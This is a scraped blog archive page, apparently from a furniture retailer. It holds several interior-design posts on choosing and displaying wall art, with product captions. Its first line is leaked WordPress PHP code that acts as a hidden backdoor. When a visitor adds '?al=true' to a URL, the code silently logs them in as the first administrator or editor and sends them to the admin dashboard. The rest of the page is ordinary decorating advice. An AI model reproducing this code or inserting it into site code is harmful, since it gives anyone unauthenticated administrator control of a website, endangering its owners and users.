// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); art elements Archives - McCreery's McCreery's
  • Follow us:

Posts Tagged ‘art elements’

Interior Artistry: 5 Fundamentals to Live By

Tuesday, November 15th, 2016

Art is the only way to run away without leaving home - so said Twyla Tharp. Prove it with this Accessories Uttermost Nebulus Silver Wall Art 01303

Art is the only way to run away without leaving home – so said Twyla Tharp. Prove it with this Accessories Uttermost Nebulus Silver Wall Art 01303

Do you believe that art can add a different level of sophistication to your surroundings? The mere presence of artworks can steer one’s intellect and reflect emotion. Artwork – as long as it is used correctly- can also help define space. Since art can do so much to beautify your home and it even has the power to make or break the theme, then why not invest in this crucial design element?

A huge blank wall in any home can make the place look lifeless and dull. Some end up displaying, on default, their family photographs. Paintings, though, can offer a lot more than visual entertainment.

Select Art First

One of the common mistakes that people do is to put art in their least prioritized design elements. In fact, for many, it is just an afterthought. This can have tragic consequences, at least, aesthetically. Understand that artwork is a lot more than a piece that you hang on the wall. It can be the story that will anchor the rest of your furnishings and accessories. It can also be the factor that can help you decide on the eventual materials and color palettes for your home.

Remember that the use of wall art means you are stating a message – your message. You are also invoking feelings so you need to decide what is going to be depicted on your piece of art.

Study the Canvass

Prior to buying a piece of art, you need to consider its purpose. Will it be placed in a room where events and celebrations will be held often? Or is this a place where you intend to relax and find quiet contentment? You also need to know where it will be placed as well as the lighting conditions there.

Learn to Match

When you are out to design something for your home, then you have to define your lifestyle as well as personality with your design elements. This may not be an easy task but you are not without guidance. The process of picking wall art means you know how to define these things and harmonize the artwork with the rest of furnishings.

So, are you ready to define your theme? Would you embrace classic, casual, contemporary or modern?

Consider the Room Color, Size and Other Such Elements

For your room size, be sure to inspect how much space you can work on. Would you want a large wall to be filled with paintings such as in art galleries? Doing so will render a bold statement or a higher amount of attention. If you’re not ready to be dramatic or bold, then choose a smaller wall with a limited number of artwork.

You also have to learn color psychology as hues can affect the feelings, mood and even the health of people. Learning about the psychology of colors can also be applied in picking art.

Measure also the dimension of the wall where you intend to hang the artworks. You’ll have a better idea on the amount of space that you can actually use once you do this. Use your imagination on how the piece of art will eventually look in your home.

The artistic details all around this wooden bed makes it a more interesting bedroom piece to look at.

The artistic details all around this wooden bed makes it a more interesting bedroom piece to look at.

No Hard and Fast Rules

There are no rules set on stone when it comes to picking art. Whether or not the piece has potential to increase in value, you have to buy one that you already love. Don’t let the theme or a friend dictate which is art and which is not.

You must also be open to various media. Art doesn’t automatically mean painting. It can also be a piece of sculpture, even a lovely piece of furniture.

Lastly, go out there and explore on all the possible art pieces that you can use. Local artists might provide the piece that you’ve been looking for. Be open to art possibilities.

Tags: , , , , , , , ,
Posted in Accents, Accessories, Interior Design 101, Interior Design Elements | No Comments »

7 Unique Ways to Decorate Walls

Monday, November 7th, 2016

The Accessories Uttermost Zana Red Distressed Photo Frames, S3 18570 is not your regular photo frame.

The Accessories Uttermost Zana Red Distressed Photo Frames, S3 18570 is not your regular photo frame.

Home decoration should be a fun, continuous process. There’s painting, hanging the artwork, choosing and using the right accessories, even investing in the right furniture, and it’s important to remember that every area is covered. Walls will always be an important part of the design process and every home has that one wall that needs to be dressed up.

Your problem wall could be one that is partially covered or it could be a strange-looking part of your home. Homeowners sometimes don’t see huge, blank walls, rather, a clean slate that they can dress up. Some see it as something that’s intimidating.

What’s great is that there are so many awesome ideas that will match your taste. Here are some of these unique ideas –

Stripes on Accent Wall

If you want an easy fix on that blank wall, then consider having it painted or wallpapered in stripes. This can be a great DIY task that will totally transform the visual aura of a room. You can actually do this project in just one weekend. Pick colors that will match the rest of the design then you can either go horizontally or vertically – the choice is yours to make.

Mirror, Mirror on the Wall (or Walls)

If you are going to dress up a blank wall, then it is probable that that wall is also windowless. Dreaming for some light in that room means you should know how to effectively use mirrors. A choice that you can make is to cover the whole wall with a flat mirror. You could also section off a portion to create the illusion of a window.

Hanging a variety of mirrors is one way to change the look in any room. Remember that adding a mirror or a set of mirrors won’t just change the overall décor but would also give additional light.

An Artistic Gallery Wall

If you have a lot of photos or artwork to display, then that empty wall is the perfect gallery. Turn the wall into a decorative element by creating an array of art. Stylize your gallery by picking frames and photos that coincide with your chosen theme.

Mix up, invent, create. Always plan the stuff that you would hang on your mini gallery so you won’t create any permanent error.

Passion for Wall Murals

Next to the instant art gallery is that chic wall mural. This is yet another way to show some art in your home. There are two choices for wall murals – first, there are the custom wall mural decals and the other is the simple paint art project.

Popping Shelves

Hooker Furniture Accents Melange Encircle Floor Mirror

Hooker Furniture Accents Melange Encircle Floor Mirror

Unique shelving is also its own wall art. Use triangle shelves to decorate your walls. To add some drama and character, use some fabric to add color.

Use floating shelves to give you ample storage minus the bulky hardware. Use the ladder effect or use cubby shelves.

Good Ol’ Wallpaper

Wallpapering is both traditional and trendy. Create that trendy accent wall by adding some colorful or metallic wallpaper. There is a wide variety of wallpaper options that could match your current design. Choose from bold colors to neutrals, textured and patterned.

You can even miraculously replicate paint with the use of wallpapers.

The Family Chalkboard Wall

Whether there are children in the family or not, nothing beats that good old chalkboard wall. Just use a few coast of paint (use the chalkboard type) to make one wall stand out from the rest. Use this wall to post important messages to family members, greet birthday celebrators, or to play.

A more artistic solution to decorate your wall is to stencil your fave design or quote. Display your collections and you have just added the right character to the room.

Tags: , , , , , , , , , , , , , , ,
Posted in Interior Design 101, Wall Design | No Comments »

NY Fashion Week to Your Home

Thursday, October 6th, 2016

Tommy Bahama Home Bedroom Red Coral Chest 559-624 comes in a hot, trendy color.

Tommy Bahama Home Bedroom Red Coral Chest 559-624 comes in a hot, trendy color.

The Fashion Week is an event when designers, models, bloggers and celebrities all gather and brave the freezing temperatures of New York just to attend the famed fashion event. This is no longer an event solely for the fashion circle but also a happening that affects many other industries.

Designers now cross over to the world of interior and furniture design. The likes of Paul Smith and Diane Von Furstenburg have fashion and home collections to be proud of. They are no longer just artists that fill the runway shows but artisans in their own right.

The interior design industry welcomes these artists with wide, open arms. There is so much anticipation as there is an ever-increasing media pattern that focuses on design visibility.

Fusion of Art and Interior Design

One can find a perfect marriage in fashion and art. Fashion icons Mary Ping, Susa Cianciolo and Eckhaus Latta are featured in runway shows as well as the MoMa or Museum of Modern Art. Theirs are art forms that have outgrown the usual glitz and glamour offered by the klieg lights of the runways and are now being featured in spaces that serious art lovers go to.

There is a very thin line between vintage and contemporary design in these artists’ works as all art forms merge and interplay. So, yes, it’s not all about wardrobe anymore but how to carry over their creations from the runway to the different homes that they can dress up.

Fashion and interior design are forever interlocked. Decades ago, there was a determined degree of separation between the two. This was evident when, a few years back, Philippe Starck collaborated with a famous Italian cashmere company. Missoni also began building hotels just as Zac Posen began to design interiors for 16w21 condos.

The trend, these days, is leaning towards throwbacks. Decorative fabrics are hot as are fashionable pieces during the 18th century. There are practices and principles of design that are in play, too, during furniture creation. Just like an ensemble of clothing, the determination of a focal point, harmony, and creating silhouettes are practices in the interior design industry that are not foreign to fashion designers.

Interior designers, in fact, should work like fashion designers. Materials have to be carefully chosen, experimented on at times, and then designed to a piece that is so inspirational that you could read a story just by looking at the design.

There is a reason why fashion designers are no longer interested in just supermodels and clothing. They are, in essence, spreading their wings to the call of clients and other industries (e.g. the hotel industry). Jean-Paul Gaultier understood this when he collaborated with Roche Bobois, maker of contemporary furniture.

Every fashion collection produces different interpretations in interior design. The blue and white sailor stripes are quite famous in both worlds. These are increasingly becoming the sexiest color on furniture, too.

Fashion designers think hard and are constantly looking for inspiration when designing their pieces. Such is also the case when they move to the world of interior design. On the latter, they dress up furniture and homes. Drawings of dresses now become drafts for furnishings.

There are also some fashion designers who are coming up with their limited edition of furniture line. The pieces range from wine racks, to console tables, even cushions and lampshades. There are just too many pieces to gape at.

Fashion is loved in many parts of the world. Civilized people rarely thrive without it which is why carrying it over to another artistic industry is just right. Fashion is a lot more than just a piece of clothing. These days, it can be that winding staircase in your friend’s home or that next furniture collection that you’re going to invest in.

The Maitland-Smith Lamps and Lighting Cast Brass Peacock Wall Sconce 1900-111 is all glitz and glamour.

The Maitland-Smith Lamps and Lighting Cast Brass Peacock Wall Sconce 1900-111 is all glitz and glamour.

Tags: , , , , , , , , ,
Posted in 2017 Trends, Interior Design 101, Interior Design Themes | No Comments »

The Defining Elements of an Artist’s Home

Wednesday, October 5th, 2016

Uttermost Accessories Regency Villa Tesio Clock 06037

Uttermost Accessories Regency Villa Tesio Clock 06037

Art lovers know the meaning of beauty yet artists know the subject even a lot more. To the latter, art is not all about paintings or photographs, it could cross all the way to the world of interior design. Let the artist in you be unleashed. Go ahead and buy the stuff that you love. You can then plan the design of your home around the art pieces that you bring in.

Home Design Supporting Art

There are various ways that you can have your art pieces framed using furniture and other design elements. First, you have to learn to repeat color and lines. For instance, you can use black and white images to echo the blacks and whites on the accessories and furniture pieces. There could be bright-colored accents in the room but the artworks would still be the ones that would stand out.

The repetition of color on your art will increase its impact in any space. Green pillows on the bed can be based on the greens that are seen on the artwork hung on the bedroom walls. Without these pillows, the art pieces will have a more difficult time balancing the visual interest that is being created in that room.

Lines can be repeated as the dining table mimics the curves and central color of the main painting used. Floral displays can add more colors to the space.

Color needs to be balanced which is why an art piece that has a lot of black on it should be balanced by something bright like red or orange. Such is also the case with the black leather sofa which has to be balanced by a red pillow or two.

Carrying color balance throughout the furnishings extends the painting’s influence.

Using multiple artworks created by the same artist or that have the same styles can also up the visual impact. A huge painting can be hung right above the fireplace, one that would contrast the strong vertical and horizontal lines on this architectural structure. The lines as well as the colors harmonize then draw the eyes towards the center of the room (right where the fireplace is), then throughout. All together, they create a stronger look that is difficult to achieve individually.

The placement of furniture can also improve the way art is presented inside a room. Paintings would look great on a blank wall but the way a bench is placed right below the underlines of an interesting painting should emphasize the art some more.

It would also help to hang mirrors strategically on the ceiling and walls. Make sure that the hallway shows repeated paintings because of mirror placement. This is a dramatic way of making paintings look weird but in a great kind of way.

Supporting art sometimes requires restraint. A piece of art right behind a sofa is inviting the visitor to look beyond the furniture and appreciate what’s at the back. Make sure that the wall color and the lampshades, as well as the rug come in a monochromatic palette. This means that the eyes will always rest on the art piece and the furniture.

If you happen to have an art piece that has a splash of interesting color on it, then make sure that you repeat that color on the walls of the adjacent rooms. This will create a greater impact that merely having accessories placed all over the same room.

Don’t stick to one color because no artist would do that. Go beyond your comfort zone in terms of your color palette. Hang a painting then make sure to use all the colors that you could find on that art piece on the design elements. The rug can pick up from the base color while the accessories could find inspiration on the colors used on the subject.

Cynthia Rowley for Hooker Furniture Living Room Irving Lamp Table

Cynthia Rowley for Hooker Furniture Living Room Irving Lamp Table

Tags: , , , , , ,
Posted in Interior Design 101, Interior Design Elements, Interior Design Themes | No Comments »

Why Buy Paintings?

Saturday, April 23rd, 2016

 

Accessories Uttermost Searching Modern Art 34404 is simple and sleek. It is great for modern homes.

Accessories Uttermost Searching Modern Art 34404 is simple and sleek. It is great for modern homes.

Without a doubt, you have bought posters and prints back in the day. Or, perhaps, you still swoon over some posters in some bedrooms in your home. These are fun, affordable pieces that you can use to cover the walls of your home. When it comes to elegance, though, these pieces often fall short. They are too laidback to be considered fashionable or stylish. If framed prints are all you have at the moment, don’t fret. We will give you good reasons to invest in more beautiful wall art soon – paintings.

 Support Local Artists

Buying a work of art in the form of a painting helps local artists thrive. Just imagine the amount of heart that these artists pour into their work and you would have every reason to invest in one. For most of them, it can be difficult to make ends meet. This is a field that is typically competitive, hence, your support of a local artist by gallery shopping will surely help the local industry a lot.

There are also people who know local artists on a personal level. They could buy from new artists at first and then they eventually become repeat customers. Those who keep their clients updated with their new events, exhibitions and artworks tend to have the most number of repeat customers.

There are even artists who blog and their clients see their newest works on their site.

Accessories Uttermost Standing Alone Wall Art 34276

Accessories Uttermost Standing Alone Wall Art 34276 beautifully depicts the beauty of nature.

Relate Art to Something

Most people buy artwork because they see something in the art that they can identify with. It could be something that reminds them of their own lives or of the inspiring lives of others. A writer may buy paintings depicting the life of a writer or these artworks can be marketed to colleges offering journalism and courses in that same level.

Animal lovers may also buy paintings of particular animals that they are enamored with. Horse lovers naturally invest in paintings of horses as dog lovers have their pets painted by a local artist.

Paintings Evoke Emotions

Just like a poem or a good piece of story, paintings tell something that evokes emotions, too. It could be sad, happy, even madness. It could also be emotions of love. Most people see these feelings in paintings. A painting of soldiers in battle could evoke feelings of patriotism.

Proof of Higher Social Status

Who are the people that can truly appreciate real art? These are the ones who studied about them locally or abroad. These are also the same people who would display artworks prominently in their homes. These are the collectors who would go out of their way to pay – even heftily if needs be – for an artwork.

Collectors often look for classic pieces like Degas, Monet or Picasso depending on what technique they are most drawn to. New artists may also be discovered by these collectors if they are in search for new hands that can provide quality work.

Art is also considered by some as a form of investment. People who see artists that have potential can buy paintings at a low price. They will then sell these paintings at a much higher price as soon as the artist becomes renowned. The hope of having the painting’s value increase has long been practiced by businessmen and art collectors all over the world.

Or They’re Just Simply Beautiful

Perhaps the simplest reason to buy a painting or two is that they are just too beautiful. They can be used to decorate your home effortlessly. They can also be given as a gift to people whom you love.

So why buy paintings? So you can express yourself in the form of an artwork and even get the chance to leave a legacy to your kin.

Tags: , , , , , , , , , , ,
Posted in Accents, Accessories, Interior Design 101, Interior Design Elements, Wall Design | No Comments »

The Art Space: Making Quirky Work

Thursday, March 24th, 2016

 Accessories Uttermost Amadahy Metal Wall Art 13931

Accessories Uttermost Amadahy Metal Wall Art 13931

Picking an artwork for your home is an exciting adventure but many people seem to be daunted by it. To be successful in bringing home a piece of art that you want, you have to first know what you really want. You also have to consider how it will fit into the current interior design and whether your art space wouldn’t look odd.

Know What Is Available

Shop around before you pick and bring home any artwork. Apart from museums and galleries, check out also the local exhibitions, non-profit galleries and public spaces displaying art. Libraries and the internet also supply a huge variety of fine art.

An advantage in using the Internet, though, is that you can specify the kind of art that you are most interested in. This can range from impressionism, abstract, cubism, photography, sculpture, etc.

Art That You Prefer

Accessories Uttermost Bronze Figures Art Set2 35236 displays the beauty of the human form.

There are many other places where you can search for art. There’s Asian art and self-representing artists, even ripoffs but, of course, it would be wrong and tasteless to go for the latter. Check out contemporary art as well, not just the traditional art pieces. Read about the artist’s background and dare to ask once you meet up. Perhaps you’re dealing with the seller so make sure that this person knows what he is talking about. If he cannot tell a Van Gogh from a Picasso then your conversation would be pointless.

What you like or don’t like will eventually become apparent once you get to visit different galleries. Take your time, breathe, and enjoy.

Consider Your Home Space

It is also crucial to consider the size of the art that you will bring home with you. Even if you like a piece that much, if you don’t have ample space to accommodate it in your home, then your investment would be a total waste. Also, if you insist on using huge artwork for a small room, then the two aspects won’t be in proportion.

Bolder art also asks for a bigger room so make sure that you measure how much space is still available in your home. You might end up with a pricey painting just sitting on a corner if you don’t do your measurements well.

Accessories Uttermost Bronze Figures Art Set2 35236 displays the beauty of the human form.

Accessories Uttermost Bronze Figures Art Set2 35236 displays the beauty of the human form.

Consider the Color of Your Home

Another aspect that you need to consider is your home’s current color or theme. It would be wrong to bring home colorful art when the rest of your home has bold, bright colors already. It is wrong to look for a precise match for your art. Pick one or two of the same hues so that you convey that the painting does belong to your home and not bought just ‘cause.

See how you can harmonize the art pieces that you are going to buy with the paintings and other artworks that you already bought in the past. Contemporary arts should go with contemporary pieces.

Should the present colors clash with your painting preference, then just place the art on an easel or a pedestal; this is an effective way to tame it and not allow it to clash with the rest of the present environment.

Hang Art Properly

The basic rule when hanging anything on walls is that they should be at eye level once hung. Sculptures may sit on a table, a pedestal or sit on the floor. This rule can serve as your guideline, though, so feel free to experiment with the different pieces that you have considered. It is up to you if you would want to hang a special painting on the ceiling of your bedroom so you can gaze upon it while you relax.

After hanging the paintings on your art space, it’s time to enjoy the fruits of your labor. Sit down and enjoy these works of beauty.

Hooker Furniture Living Room Asian Two-Door.One-Drawer Hall Chest: Sometimes a beautiful furniture can also be a work of art.

Hooker Furniture Living Room Asian Two-Door.One-Drawer Hall Chest: Sometimes a beautiful furniture can also be a work of art.

Tags: , , , , , , , , ,
Posted in Accents, Decorative Elements, Interior Design 101, Interior Design Elements | No Comments »